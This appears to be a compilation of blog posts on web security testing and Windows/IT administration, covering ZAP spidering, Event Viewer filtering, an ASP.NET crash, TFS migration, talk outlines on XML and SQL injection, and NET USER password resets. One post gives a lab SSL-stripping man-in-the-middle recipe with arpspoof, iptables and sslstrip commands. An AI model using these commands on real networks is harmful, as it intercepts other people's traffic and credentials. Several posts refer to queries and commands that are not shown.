OWASP ZAP – Successfully Ajax Spidering a website with Authentication (Northwind Products Management)
0. Make sure you are proxying via Zap (I love FoxyProxy)
1. Identify the session cookie
1.1 If the http session is not identified, use the Params tab and flag a Cookie as Session Token [alternatively, go to Tools --> Options.. --> Http Sessions and add a session identifier]
1.2 go do some browsing
2. Set an active session from the Http Sessions tab
3. Identify and exclude the Log off request from the spider (and scanner, and proxy, ir required)
Good luck with your Ajax spidering in ZAP!
You may think you are connecting to a website over ssl, but did you forget to check https at the address bar?
Victim - Windows 7 – 192.168.100.11
Attacker – Kali linux – 192.168.100.215
arpspoof gateway – 192.168.100.1
•Flip your machine into forwarding mode.
echo "1" > /proc/sys/net/ipv4/ip_forward
•Run arpspoof to convince a network they should send their traffic to you.
arpspoof -i <interface> -t <targetIP> <gatewayIP>
arpspoof -i eth0 -t 192.168.100.11 192.168.100.1
•Setup iptables to redirect HTTP traffic to sslstrip.
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>
iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 10000
sslstrip.py -l <listenPort>
This article was originally published for www.prowareness.com and could be located at Event Viewer – Filtering user events for forensics and audits
Let’s say you are tracking down some user, or trying to find users that logged in to a common Windows workstation at a timeline. Sounds downright easy with Event Viewer right? Create a custom view or filter the current view of the the Windows Logs\Security events, type in the user account in the User: textbox, and you should be done. But it does not work because it is not supposed to work by design.
When the event viewer generates a query for the filter that we created to query a particular users activity, it actually associates the SID of that user to the actual query, and returns you 0 events.
Why did it return 0 events? It is ok, that the user name that was typed in to the User: textbox got converted to the SID. But shouldn’t it have listed activities for that user? However, if you go the Windows Logs\Security (without any filters), you’d wonder that there are actually many events logged for the user name (Account Name: ) that you want to filter (ma is the user name in the sample).
Picking a particular event, if you click Details to view the same event in xml or friendly view, ma (the user we want to query) is actually the TargetUserName w.r.t the event viewer database, and the TargetUserSid is the Sid associated to the user ma.
Let’s pause for a moment and think back, If the SID for the user is called as TargetUserSid in the Details view, shouldn’t the Query that Event Viewer generated in Fig 2 actually be TargetUserSid instead of UserID.
May be I am misunderstood, may be I do not understand the Event Viewer terminologies. I don’t know. All we expect is when we type the User: we want to filter the logs for, let the event viewer do it’s own queries and it’s conversions, I’d like to see the logs for that particular user. Since that does not work as expected, how do we actually see the Security logs for a user?
Use the below xml when you create the custom filter or when you try to filter the an existing log path. Remember it is the subjectUsername in the xml query.
If there is an easy way, let me know.
Also, below is a table of logon events and logon types explained by their code. The list below is derived from a SANS poster named SANS-Digital-Forensics-and-Incident-Response-Poster-2012.pdf. I lost the hyperlink of that poster, but a more descriptive is list could be found at –
Logon via console
Windows Service Logon
Credentials used to unlock screen
Network logon sending credentials (cleartext)
Different credentials used than logged on user
Remote interactive logon (RDP)
Cached credentials used to logon
528 / 4624
529 / 4625
538 / 4634
540 / 4624
Successful Network Logon
This article was originally published for www.prowareness.com and could be located at http://www.prowareness.com/blog/let-your-iis-worker-process-crash-with-stackoverflowexception/
Months back I posted a screenshot at http://renouncedthoughts.wordpress.com/2013/12/05/system-stackoverflowexception-in-mscorlib-dll/, finally got time to write it down.
There was a Login page, that did some sort of authorization check beyond authenticating the user, and displayed an Access Denied page for those who weren’t lucky enough. This was all done by the ASP.NET MVC with ASPX view engine. So there’s things like Views, Partial Views, RenderPartial, and so on. The application also was heavily ajax enabled, so partial views really seemed to fit in at many places that did not want to include a master page content in the response text. There was a view file called AccessDenied.aspx that barked at unauthorized users. Things were working fine, and one day something broke, IIS was crashing without any meaningful error message. I lied, actually it did give a meaningful error message that was like – An unhandled exception of type ‘System.StackOverflowException’ occurred in mscorlib.dll. And the Call Stack showed some recursive function call. That is all there was to it.
Let’s look at a POC sample application below. Download the source from github – https://github.com/gmaran23/ASPXViewEngineCrash, Hit F5.
When you click the AccessDeniedForCrash page, the below is what you see. An unhandled exception of type ‘System.StackOverflowException’ occurred in mscorlib.dll. If you look at the Call Stack window, there would be a lot of repeated method calling method.
Let’s look at what happens when a view is requested, as in how the view engine probes the known locations to find the view definition. Click ViewDoesNotExist, and you would see an error page, that actually tells you the file locations that ASPX view engine probed to find a matching view. Pay attention to the search order where a .aspx file is searched first, and then the .ascx file.
Now, if you go back to the StackOverflowExceptionInASPXViewEngine solution, there are two files called AccessDeniedForCrash.ascx and AccessDeniedForCrash.aspx under ~/Views/Home.
The following code inside AccessDeniedForCrash.aspx calls the partial view AccessDeniedForCrash.ascx.
A typical programming practice right? You define sub routines, and you keep calling them as and when required. Reusability! You have created a partial view here (AccessDeniedForCrash.ascx), and kept calling the partial view inside the main view (AccessDeniedForCrash.aspx). But it was the ASPX view engine’s probing method that caused the recursive method call. The view engine reached AccessDeniedForCrash.aspx, as it came through the HomeController’s action method AccessDeniedForCrash. It tried to find a partial view AccessDeniedForCrash.ascx, but always ended up with AccessDeniedForCrash.aspx because of the file search order; you know the rest of the story about recursion without an exit condition.
So, is this a programming error? or the framework error? or the ‘programmer did not understand the framework well’ error?
This article was originally published for www.prowareness.com and could be located at http://www.prowareness.com/blog/restoring-tfs-services-after-host-name-and-domain-binding-changes/
I have a local TFS server set up for testing CI integration of certain tools. The database storage (sql server 2012 express), the application tier, the build agent, the controller everything set up in localhost. I am working with TFS 2012, which TFS services running under <<computername>>\TfsUser.
The computer was recently migrated to another domain, which involved the computer name change, and obviously the domain name change itself. That’s it. TFS services started with 503 Service unavailable. The TFS application pool was stopped, and never started again. The TFS Administrator Console was always throwing all sorts of error messages. I was not prepared for any of these changes, it took me some time to fix all of them and get the CI functionality working flawlessly again. Ironically, all these happened after I happily blogged about Migrate user profiles to new domain account in a jiffy with Profwiz. But, here I am documenting my steps one by one. If your (local) TFS server installation has incurred a domain change, you may find these steps helpful. You may be at best when you follow the steps sequentially. All the steps involve changing the old machine name to the new machine name and fixing the Windows identities.
1. Verify/Update the Application Tier web.config
Navigate to the TFS Application Tier Web Services folder, and edit the applicationDatabase appSettings value. The Data Source should be be <<newcomputername>>\databaseServer.
C:\Program Files\Microsoft Team Foundation Server 11.0\Application Tier\Web Services\web.config
2. Verify/Update the TFS sql server database Logins
I use <<machinename>>\TfsUser as an admin console user. Connect to the sql server where Tfs configurations are saved, Remove the logins with the old machine names. (If the old machine name’s Login exists, then it will result in a SID conflict later during other stages). Add new logins with the new <<machinename>>. Let them have sysadmin permissions.
“TF255507: The security identifier (SID) for the following SQL Server login conflicts with a specified domain or workgroup account: <<oldcomputername>>\user. The domain or workgroup account is: <<newcomputername>>\user. The server selected to host the databases for Team Foundation Server is: <<newcomputername>>\sql2012express.
You can resolve this issue by renaming the conflicting login.”
3. Verify/Update the Tfs Application Pool identities
Make sure the Tfs Application Pools Microsoft Team Foundation Server Application Pool, and Microsoft Team Foundation Server Message Queue Application Pool in IIS runs under the <<newcomputername>>\<<yourIdentify>>. In my case it is TfsUser.
4. iisreset at will. Couple of time during the entire troubleshooting process.
5. Dealing with Sync error for identity
However, If you encounter ‘The trust relationship between this workstation and the primary domain failed’, or the below errors, proceed.
Ask your System administrator to Reset the computer account in AD. That is right click on the computer and do Reset Account.
Then, Start –> Run –> sysdm.cpl , Hit the Network ID… button. Follow the steps to join the computer to a domain. This step would require a Domain Admins account, use your System Administrator’s or AD Administrator’s help, and complete the Join a Domain or Workgroup wizard.
Doing a Reset Account on AD computer account, and Joining it again to the domain via Network ID… made my ‘The trust relationship between this workstation and the primary domain failed’ error disappear.
6. Verify/Update Application Tier’s Notification URL, Server URL, Web Access URL
In Team Foundation Server Administration Console, Click Change URLs in Application Tier Summary, and update the Notification URL, Server URL to the <<newmachinename>>.
7. Unregister/Register the Build service with new machine name
Unregister the build service that uses the <<oldcomputername>>. Register a build service with the <<newcomputername>>. And do the same for the agent and the controller.
That’s should be it. At least the steps that I did to got my TFS installation working again. If you want to check the Check in, and build service, then follow the steps below.
8. Fixing the workspace conflict in Visual Studio TFS Client
Simple solution by Anand is to remove the current workspace the solution was bound to, so the VS TFS Client would automatically create one. I did not have any pending changes.
Open Developer Command Prompt for VS2012, run
to see existing workspaces, and remove the workspaces bound to the <<oldcomputername>> with
TFS client should connect fine now, and should have created a new workspace for you. Map the source control to the local directory.
Edit your build definition to update the Build Controller: to the newly created build controller.
Check in, and see your CI working again with all tests and other configured tools.
· XML today
· XML/XPath injection – Demo
· Compiled XPath queries
· DTD use and abuse
- document validations
- entity expansions
- denial of service – Demo
- arbitrary uri access (egress)
- file enumeration and theft – Demo
- CSRF on internal systems – Demo?
· Framework defaults limits/restrictions
· Lessons learned
· Verifying your XML systems for potential threats
1. All of them inclusive of sample code for exploits and prevention. Language(C#, Java, php)/Platform(Windows/Linux) agnostic wherever possible.
2. It is imperative at this juncture, that you are aware of most attack scenarios against XML, because the framework defaults may not protect you, hence you may be vulnerable, you might have not found it yet.
3. The session is a bit biased towards DTD abuse in XML systems, as the Injection concepts and remediation remain common in XML when compared to Sql injection.
This video is for anyone that likes to know how to test an application for Sql Injection. The content and presentation was focussed on Quality Assurance personnel who are not penetration testers.
Quick introduction –
Browser addons for easy proxy switching
Intercepting proxies – Fiddler, OWASP ZAP, BurpSuite, ..?
Fuzzing and identifying vulnerable parameters
Code review pointers for Buddy testing
Demonstration Fiddler, ZAP, sqlmap, Sql Inject Me
Firsthand experience with Sqli tools (Vijay/Shashank)
Chrome extension (open from chrome browser) – https://chrome.google.com/webstore/detail/foxyproxy-standard/gcknhkkoolaabfmlnjonogaaifnjlfnp?hl=en
Firefox Extenstion (open from Firefox) – https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/
This article was originally published for www.prowareness.com and could be located at http://www.prowareness.com/blog/set-password-in-windows-7-home-premium-ran-out-of-options/
By set password, I mean setting the password for a local user account without having to enter the current password. I was surprised that Windows 7 Home premium never had a way to do it via a GUI. The regular GUI options that allow you to set password would all be greyed out, or unsupported. Go to step 5 for NET USER command and set password from the command line.
1. control userpasswords2: Reset Password… button disabled
2. compmtmt.msc: Does not even show you Local Users and Groups
3. lusrmgr.msc: This snapin may not be used with this version of Windows. [To hell with paying for a Home Premium license]
4. User Accounts –> Change Your Password [I have this bad hibernation habit, I seldom shutdown, and also have Disable Lock Computer group policy enabled]
5. Hail the command line options! NET USER works finally.